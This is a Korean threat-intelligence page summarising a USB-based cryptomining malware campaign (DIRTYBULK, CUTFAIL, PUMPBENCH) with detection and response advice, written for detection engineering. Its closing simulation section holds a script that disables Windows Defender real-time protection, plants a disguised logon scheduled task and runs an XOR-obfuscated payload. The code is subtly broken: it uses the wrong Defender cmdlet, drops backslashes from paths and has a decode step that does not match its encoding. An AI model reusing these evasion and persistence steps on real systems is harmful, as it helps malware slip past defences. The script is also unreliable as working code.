SOC Prime Bias: 중간

02 Dec 2025 17:53 UTC

DIRTYBULK와 친구들: 코인마이닝 작업을 촉진하는 USB 악성코드

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
DIRTYBULK와 친구들: 코인마이닝 작업을 촉진하는 USB 악성코드
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

보고서는 암호화폐 채굴을 위한 다단계 악성코드 체인을 전달하기 위해 악성 바로 가기 파일을 사용하는 USB 기반 감염 캠페인을 자세히 설명합니다. 초기 실행은 가짜 System32 디렉토리에서 printui.dll이라는 DLL을 사이드로드한 후 드로퍼(CUTFAIL)에 넘겨주어 다운로드 프로그램(HIGHREPS)과 백도어(PUMPBENCH)를 배포합니다. PUMPBENCH 백도어는 추가 페이로드를 가져오기 위해 PostgreSQL 서버와 통신하고 궁극적으로 XMRig 채굴자를 실행합니다. 이 작전은 Windows Defender 제외, 예약 작업, 악성 서비스를 통해 지속성을 유지합니다.

분석

Mandiant 연구진은 킬 체인을 분석하고 네 가지 주요 악성코드 패밀리: DIRTYBULK, CUTFAIL, HIGHREPS, PUMPBENCH을 강조했습니다. 그들은 행위자들의 파일 명명 패턴, printui.dll에 대한 DLL 사이드 로딩 남용, 레지스트리 변화와 관련 네트워크 지표를 포착했습니다. 또한 지속성 기술, DCOMLaunch 서비스 그룹과 연결된 예약 작업 및 서비스를 차트화했습니다.

대응 방안

권장 방어책은 이동식 미디어에서 시작된 바로 가기 파일 실행을 차단하고 Windows Defender 제외 항목을 추가하는 명령을 모니터링하며, 수상한 printui.dll 사이드 로딩 활동을 감지하고 임의의 6자리 이름을 사용하는 서비스나 예약 작업을 검색하는 것입니다. 알려진 악성 도메인과 DoH 해석기를 차단하여 명령 및 제어 채널을 더 제한할 수 있습니다.

대응

감지되면 영향을 받은 호스트를 격리하고 악성 DLL 및 관련 구성 요소를 제거하며, 공격적인 예약 작업 및 서비스 항목을 삭제하고 제외 항목을 지워 Windows Defender 설정을 복원하십시오. 잔여 페이로드를 찾아내고 식별된 PostgreSQL C2 인프라와의 연결을 추적하기 위해 포괄적인 포렌식 스캐닝을 수행하십시오. 최종적으로, 관찰된 명령줄 사용 및 파일 생성 동작에 대응하도록 탐지 콘텐츠를 업데이트하십시오.

공격 흐름

시뮬레이션 실행

필수 조건: 텔레메트리 및 기준선 전비행 검사가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 발동하도록 설계된 적의 기술적 기법(TTP) 실행을 자세히 설명합니다. 명령과 설명은 반드시 식별된 TTP와 직접 일치해야 하며 탐지 논리에 예상되는 정확한 텔레메트리를 생성해야 합니다. 추상적이거나 관련 없는 예는 잘못된 진단으로 이어질 수 있습니다.

  • 공격 내러티브 및 명령:

    1. 단계 1 – 악성 VBScript 배포 감염된 USB 드라이브에 (예: E:payload.vbs). 이 스크립트는 Windows Defender 실시간 보호를 비활성화하고 Add‑MpPreference 명령어로 페이로드를 암호화하며, 지속성을 유지하기 위한 예약 작업을 생성합니다.

    2. 단계 2 – 스크립트를 wscript.exe 를 통해 실행하여 지속성 명령줄을 직접 전달 (규칙의 연결적 조건을 만족시키기 위해).

    3. 단계 3 – 스크립트 내에서 암호화된 페이로드를 실행하기 위해 PowerShell을 내부적으로 호출하여 “감염 체인”을 데모합니다.

    4. 단계 4 – 실행 후 공격자는 아티팩트를 정리합니다 (스크립트 제거, 예약 작업 삭제).

  • 회귀 테스트 스크립트:

    # ------------------------------------------------------------
    # 회귀 테스트 – 악성코드 감염 체인 시뮬레이션
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. XOR 암호화된 더미 페이로드 생성 --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. 악성 VBScript 작성 -------------------------------------------
    @"
    ' 악성 VBScript – 감염 체인
    Set sh = CreateObject("WScript.Shell")
    ' 실시간 보호 비활성화
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' 지속성을 위한 예약 작업 생성
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' 페이로드 암호 해독 및 실행
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. wscript.exe를 통해 스크립트 실행 (규칙을 발동시킴) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (선택 사항) 작업이 실행되기까지 몇 초 대기 ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # 정리 – 스크립트 및 예약 작업 제거
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • 정리 명령:

    # 남아있는 예약 작업 제거 (여전히 존재하는 경우)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # 남아있는 스크립트 파일 제거
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # 실시간 보호 다시 활성화
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"